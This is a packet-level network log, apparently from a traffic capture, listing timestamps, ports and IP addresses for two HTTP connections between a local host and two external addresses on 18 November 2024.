Nov 18, 2024 19:04:19.906878948 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:19.908015013 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:19.908034086 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:19.908051968 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:19.908067942 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:19.908080101 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:19.908103943 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:19.908252001 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:19.908267975 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:19.908284903 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:19.908301115 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:19.908308029 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:19.908334970 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:19.908982038 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:19.909140110 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:19.909187078 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:19.993344069 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:19.993434906 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:19.993457079 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:19.993489981 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:19.993501902 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:19.993526936 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:19.993547916 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:19.993590117 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:19.993590117 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:19.993627071 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:19.993626118 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:19.993664026 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:19.993664026 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:19.993701935 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:19.994271040 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:19.994297981 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:19.994313002 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:19.994319916 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:19.994340897 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:19.994358063 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:19.994405031 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:19.994419098 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:19.994443893 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:19.994457006 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:19.995255947 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:19.995300055 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:19.995330095 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:19.995368958 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.067339897 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.067364931 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.067424059 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.067460060 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.067495108 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.067533970 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.067630053 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.067630053 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.067630053 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.113748074 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.113791943 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.113827944 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.113862038 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.113866091 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.113907099 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.114053965 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.114085913 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.114103079 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.114120960 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.114135981 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.114159107 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.114159107 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.114198923 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.114227057 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.114265919 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.114864111 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.114912033 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.115525961 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.115570068 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.153573990 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.153609037 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.153625965 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.153642893 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.153660059 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.153774977 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.154194117 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.154211044 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.154226065 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.154258013 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.154301882 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.156891108 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.156908989 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.156925917 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.156991005 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.183799028 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.183886051 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.183902025 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.184032917 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.184396982 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.184444904 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.184444904 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.184461117 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.184504986 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.233807087 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.233833075 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.233861923 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.233879089 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.233894110 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.233911991 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.233921051 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.233992100 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.234030008 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.234071016 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.234500885 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.234519005 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.234536886 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.234551907 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.234565973 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.234596968 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.270021915 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.270071983 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.270086050 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.270111084 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.270126104 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.270139933 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.270215988 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.270262003 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.270271063 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.270287991 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.270303965 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.270323992 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.276571035 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.276590109 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.276603937 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.276626110 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.276649952 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.276767015 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.276806116 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.276880026 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.276916981 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.313452005 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.316951036 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.316968918 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.316984892 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.317017078 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.317042112 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.317059994 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.317080975 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.317253113 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.317265987 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.317290068 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.354269981 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.354288101 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.354326010 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.354329109 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.354341030 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.354351997 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.354356050 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.354372025 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.354374886 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.354387999 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.354417086 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.354428053 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.354475975 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.354513884 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.357613087 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.357630014 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.357645988 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.357655048 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.357675076 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.357693911 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.357743025 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.357778072 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.360346079 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.387183905 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.387203932 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.387222052 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.387250900 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.387449026 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.387485027 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.387530088 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.391419888 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.391463995 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.391555071 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.391568899 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.391583920 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.391598940 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.391604900 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.391634941 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.397073984 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.397125959 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.397130013 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.397147894 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.397172928 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.397183895 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.397186041 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.397214890 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.433626890 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.433646917 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.433664083 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.433701038 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.433718920 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.433727980 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.433774948 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.434259892 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.434310913 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.434384108 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.475050926 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.475189924 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.475224018 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.475229025 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.475254059 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.475263119 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.475269079 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.475301981 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.475302935 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.475348949 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.475368023 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.475402117 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.475405931 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.475435019 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.475439072 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.475470066 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.475472927 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.475507975 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.475511074 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.475548029 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.475675106 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.475718021 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.477107048 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.477164984 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.485369921 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.504317999 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.504357100 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.504398108 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.504442930 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.508873940 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.508908033 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.508929968 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.508941889 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.508980036 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.508996010 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.509239912 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.509291887 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.509493113 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.517664909 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.517699003 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.517719984 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.517736912 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.517740965 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.517776966 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.518337011 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.518364906 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.518377066 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.518400908 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.550678015 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.550710917 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.550734043 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.550765991 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.550798893 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.550803900 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.550833941 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.550972939 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.551554918 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.552026033 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.552058935 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.552071095 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.552093983 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.552130938 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.594914913 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.594938040 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.594960928 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.594969988 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.594980955 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.594989061 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.595006943 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.595006943 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.595022917 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.595024109 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.595036983 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.595058918 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.595151901 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.595186949 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.595658064 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.595674038 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.595690012 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.595698118 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.595721006 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.595729113 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.596051931 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.596067905 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.596084118 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.596091986 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.596112967 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.596122026 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.596308947 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.596344948 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.621226072 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.621267080 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.621284008 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.621299028 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.621311903 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.621356010 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.625529051 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.625545025 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.625559092 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.625581026 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.625890970 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.625940084 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.625953913 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.625971079 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.626003027 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.639380932 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.639405012 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.639424086 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.639431953 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.639442921 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.639450073 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.639467955 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.639482975 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.667651892 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.667805910 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.667836905 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.667870998 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.667908907 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.667972088 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.667972088 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.668757915 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.668817043 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.668883085 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.668912888 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.668962955 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.668965101 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.669002056 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:20.669053078 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:20.715028048 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.715085030 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.715121031 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.715152979 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.715157986 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.715187073 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.715189934 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.715223074 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.715516090 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:20.715559959 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:20.715578079 CET	80	49980	185.215.113.16	192.168.2.5
